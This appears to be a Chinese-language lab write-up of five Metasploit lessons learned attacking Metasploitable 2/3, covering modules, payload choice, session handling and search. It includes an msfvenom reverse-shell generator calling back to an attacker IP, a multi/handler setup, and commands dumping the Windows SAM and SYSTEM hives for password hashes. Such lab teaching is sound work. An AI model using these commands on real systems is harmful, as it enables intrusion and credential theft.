整理成五個心法，每一個都有這系列中的真實案例佐證。

心法一：Metasploit 不是起點，是偵察之後的選擇

看到服務 → 打開 msfconsole → search 關鍵字
→ 找到模組 → run → 成功或失敗

踩過坑之後的工作流

看到服務 → 確認版本 → searchsploit 查 CVE
→ 評估：Metasploit 有模組嗎？手動 exploit 可行嗎？
→ 選最適合的方式 → 執行

差別在哪？ 第一種是把 Metasploit 當作唯一的攻擊手段。第二種是把它當作工具箱裡的其中一把工具。

本系列的數據

整個 MS2 + MS3 攻擊歷程中，Metasploit 的使用比例

攻擊方式分佈（13 個 MS3 成功入口）：

  Metasploit exploit 模組   ████████████████  4 個（31%）
  ├── Continuum RCE
  ├── UnrealIRCd 後門
  ├── Elasticsearch Groovy RCE
  └── Tomcat Manager WAR upload

  Metasploit auxiliary      ████              2 個（15%）
  ├── MS15-034 記憶體洩漏
  └── Java RMI Registry 列舉

  完全手動                  ████████████████████  7 個（54%）
  ├── Payroll SQLi → SSH
  ├── Rails Web Console + Docker
  ├── Samba WebShell
  ├── MySQL → Drupal PHP Filter
  ├── Jenkins Groovy + JuicyPotato
  ├── GlassFish autodeploy
  └── WAMPSERVER WebDAV PUT

  結論：超過一半的攻擊不需要 Metasploit

什麼時候該用 Metasploit

適合用 Metasploit 的場景：

  ✅ 有現成模組且 exploit 邏輯複雜
     例：Elasticsearch CVE-2014-3120（需要特殊的 Groovy 腳本注入格式）
     手動重現很費時，模組品質高

  ✅ 需要 Meterpreter 的後利用功能
     例：Tomcat WAR 部署後需要轉存 SAM
     Meterpreter 的 download、upload 很方便

  ✅ 偵察和掃描（auxiliary 模組）
     例：auxiliary/gather/java_rmi_registry 列舉 RMI
     例：auxiliary/scanner/http/ms15_034_http_sys_memory_dump
     這些寫手動腳本的意義不大

  ✅ 需要快速驗證漏洞是否存在
     search + check 指令可以快速確認，不用真的攻擊
 
 不需要（或不該用）Metasploit 的場景：

  ❌ 簡單的 Web 漏洞
     例：SQL Injection、WebShell 上傳、WebDAV PUT
     curl 一行就搞定，開 msfconsole 反而慢

  ❌ 攻擊鏈需要靈活串接
     例：MySQL → SSH 隧道 → Drupal → PHP Filter
     Metasploit 不擅長多步驟、跨服務的攻擊串接

  ❌ 需要精確控制 payload 格式
     例：Jenkins Groovy Script Console
     直接寫 Groovy 程式碼比找 Metasploit 模組更直接

  ❌ 目標環境有限制，需要微調
     例：/tmp 是 noexec、防火牆擋 reverse shell
     手動操作才能靈活應對各種限制

心法二：模組分類決定了你的期望值

Metasploit 的模組有明確的分類，每種類型的期望值完全不同。搞混了會浪費大量時間。

模組類型速查

Metasploit 模組家族：

  exploit/                    ← 攻擊模組
  ├── 目的：取得 shell 或執行程式碼
  ├── 需要設定 PAYLOAD
  ├── 成功 → 開啟 session
  └── 本系列使用：Continuum、UnrealIRCd、Elasticsearch、
                   Tomcat Manager、Java JMX

  auxiliary/                  ← 輔助模組
  ├── 目的：掃描、列舉、驗證、資訊收集
  ├── 不需要 PAYLOAD
  ├── 不會開啟 session
  └── 本系列使用：RMI Registry 列舉、MS15-034 掃描

  post/                       ← 後利用模組
  ├── 目的：在已有 session 上執行後續操作
  ├── 前提：需要有一個 active session
  └── 例：post/multi/recon/local_exploit_suggester
          post/windows/gather/hashdump

  payload/                    ← Payload（不是獨立使用的模組）
  ├── staged：windows/meterpreter/reverse_tcp（分兩階段傳送）
  ├── stageless：windows/meterpreter_reverse_tcp（一次傳完）
  └── 選擇會影響穩定性和功能

真實案例：搞混 exploit 和 auxiliary 的代價

場景：想用 MS15-034 拿 shell

  你找到：
    auxiliary/scanner/http/ms15_034_http_sys_memory_dump
                ↑
                這是 auxiliary！只能掃描和洩漏記憶體
                不會給你 shell

  如果你以為 run 之後會拿到 session → 會在那裡等很久
  
  正確認知：
    auxiliary → 確認漏洞存在 + 洩漏一些記憶體內容
    真正的 RCE → 需要另外的 exploit 或手動操作
    MS15-034 的 RCE 版本極不穩定，容易觸發 BSOD

心法三：Payload 的選擇比 Exploit 更重要
Payload 類型與能力差異

這是我在 MS3 Windows 攻擊中學到最深刻的一課。

Payload 能力對照表：

  payload 類型                    │ hashdump │ getsystem │ upload │ shell
  ────────────────────────────────┼──────────┼───────────┼────────┼──────
  windows/meterpreter/reverse_tcp │   ✅     │    ✅     │   ✅   │  ✅
  java/meterpreter/reverse_tcp    │   ❌     │    ❌     │   ✅   │  ✅
  cmd/unix/reverse                │   ❌     │    ❌     │   ❌   │  ✅
  generic/shell_reverse_tcp       │   ❌     │    ❌     │   ❌   │  ✅

  windows/meterpreter  = 功能最完整（需要目標是 Windows + native）
  java/meterpreter     = 跨平台但功能有限（Java 應用常用）
  cmd/unix/reverse     = 最基本的 shell（Linux 常用）

真實案例：Java Meterpreter 的陷阱

場景：Elasticsearch RCE 拿到 session

  Elasticsearch 是 Java 應用
  → Metasploit 自動選擇 java/meterpreter/reverse_tcp
  → 拿到 session 後嘗試 hashdump：

  meterpreter > hashdump
  [-] The "hashdump" command is not supported by this Meterpreter type.

  → 又試 getprivs：

  meterpreter > getprivs
  [-] The "getprivs" command is not supported by this Meterpreter type.

  原因：Java Meterpreter 跑在 JVM 裡
  → 沒有 Windows API 的存取能力
  → hashdump 需要存取 LSASS / SAM
  → getprivs 需要呼叫 Windows Token API

  解法：手動做
    shell
    reg save HKLM\SAM C:\Windows\Temp\sam.bak
    reg save HKLM\SYSTEM C:\Windows\Temp\sys.bak
    # → 再用 download 拉回 Kali

Payload 選擇決策樹

選擇 Payload 的決策流程：

  目標是 Windows？
  ├── 是 → exploit 支援 windows/meterpreter？
  │        ├── 支援 → 用 windows/meterpreter/reverse_tcp ✅
  │        │          （功能最完整）
  │        └── 不支援（Java 應用）
  │             └── 用 java/meterpreter/reverse_tcp
  │                 但要知道 hashdump/getsystem 不能用
  │                 → 後利用用手動方式
  │
  └── 目標是 Linux？
       ├── 需要 Meterpreter 功能？
       │    ├── 是 → linux/x86/meterpreter/reverse_tcp
       │    └── 否 → cmd/unix/reverse（最輕量、最穩定）
       └── 目標可以 outbound？
            ├── 可以 → reverse_tcp
            └── 不行 → bind_tcp（或者不用 Metasploit）

心法四：session 管理是被低估的技能

打靶機時經常同時管理多個 session。一開始我每次都在 session 之間搞混，後來整理出了一套流程

常用 Session 管理指令

session 管理速查：

  sessions -l              列出所有 session
  sessions -i <id>         進入指定 session
  sessions -k <id>         終止指定 session
  sessions -K              終止所有 session

  背景操作：
    Ctrl+Z                 把當前 session 放到背景
    background             同上（在 Meterpreter 中）

  在 shell session 中：
    Ctrl+C                 ⚠️ 小心！可能直接殺掉 session
    Ctrl+Z                 放到背景（安全）

多目標的 Session 管理策略

打 MS3 時的 session 狀態（真實案例）：

  msf6 > sessions -l

  Id  Type              Connection                  Info
  --  ----              ----------                  ----
  1   meterpreter java  192.168.145.144 → :9200    SYSTEM (ES)
  2   shell cmd/unix    192.168.145.144 → :6667    boba_fett (IRCd)
  3   meterpreter java  192.168.145.144 → :8282    SYSTEM (Tomcat)
  4   meterpreter java  192.168.145.144 → :1617    LOCAL SVC (RMI)

  管理技巧：
  ├── 拿到 session 後先記錄：哪個 ID 對應哪個服務
  ├── 用 SYSTEM 權限的 session 做後利用
  ├── 不需要的 session 及時關閉（占記憶體和連線）
  └── 重要的 session 不要 Ctrl+C

Handler 的進階用法

有時候不是用 exploit 模組攻擊，而是先用手動方式拿到執行能力（比如 WebShell），再用 Metasploit 接收連線

場景：手動攻擊 + Metasploit 接 shell

  Step 1：在 Metasploit 開一個 handler 等待連線

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.145.144
    set LPORT 4444
    run -j                    ← -j 讓 handler 在背景跑
    # [*] Started reverse TCP handler on 0.0.0.0:4444

  Step 2：在目標機上執行 payload

    # 用 msfvenom 生成 payload 檔案
    msfvenom -p windows/meterpreter/reverse_tcp \
      LHOST=192.168.145.144 LPORT=4444 \
      -f exe -o shell.exe

    # 透過已有的管道上傳到目標（WebShell、FTP、evil-winrm）
    # 然後在目標機上執行 shell.exe

  Step 3：handler 自動接收連線
    # [*] Meterpreter session 5 opened
    
 
 Handler 使用時機：

  ✅ 你已經有命令執行能力（WebShell、Script Console）
     但想要 Meterpreter 的功能（upload/download/hashdump）

  ✅ exploit 模組不支援目標版本
     但你有辦法手動觸發漏洞
     → 生成 payload → 手動送到目標 → handler 接住

  ❌ 目標防火牆擋 outbound（reverse shell 出不來）
     → handler 等不到連線
     → 改用其他方式（新增帳號、bind shell）

心法五：search 的正確姿勢
search 不是 Google

新手常犯的 search 錯誤：

  ✗ search apache vulnerability
    → 結果太多，上百個模組

  ✗ search CVE-2015-4117
    → 可能找不到（模組不一定用 CVE 命名）

  ✗ search continuum remote code execution
    → 太長了，關鍵字越多不一定越精準

有效的 search 策略

search 過濾器（常用）：

  type:exploit          只找 exploit 模組
  type:auxiliary        只找 auxiliary 模組
  type:post             只找 post 模組
  platform:windows      只找 Windows 平台
  platform:linux        只找 Linux 平台
  rank:excellent        只找評級最高的
  cve:2014-3120         用 CVE 編號搜

  組合使用：
  search type:exploit platform:windows tomcat
  search type:auxiliary scanner http
  search type:post windows gather

searchsploit vs Metasploit search 的角色分工

兩者的互補關係：

  searchsploit（ExploitDB 本地資料庫）
  ├── 優勢：涵蓋更多 exploit（包括非 Metasploit 的）
  ├── 用途：初始調研——這個服務有沒有已知漏洞？
  ├── 輸出：exploit 檔案路徑（.py、.rb、.c、.txt）
  └── 限制：找到的 exploit 不一定能直接用
  
  Metasploit search
  ├── 優勢：找到的模組可以直接 use + run
  ├── 用途：確認——searchsploit 找到的漏洞在 MSF 有模組嗎？
  ├── 輸出：模組路徑（可直接使用）
  └── 限制：模組數量比 ExploitDB 少

  正確的流程：
    searchsploit Jenkins    ← 先用這個看全貌
    → 找到一堆 CVE 和 exploit
    → 確認哪些適用於目標版本
    → search type:exploit jenkins  ← 再看 MSF 有沒有模組
    → 有 → 用 MSF 模組（省時）
    → 沒有 → 用 searchsploit 找到的 exploit 手動利用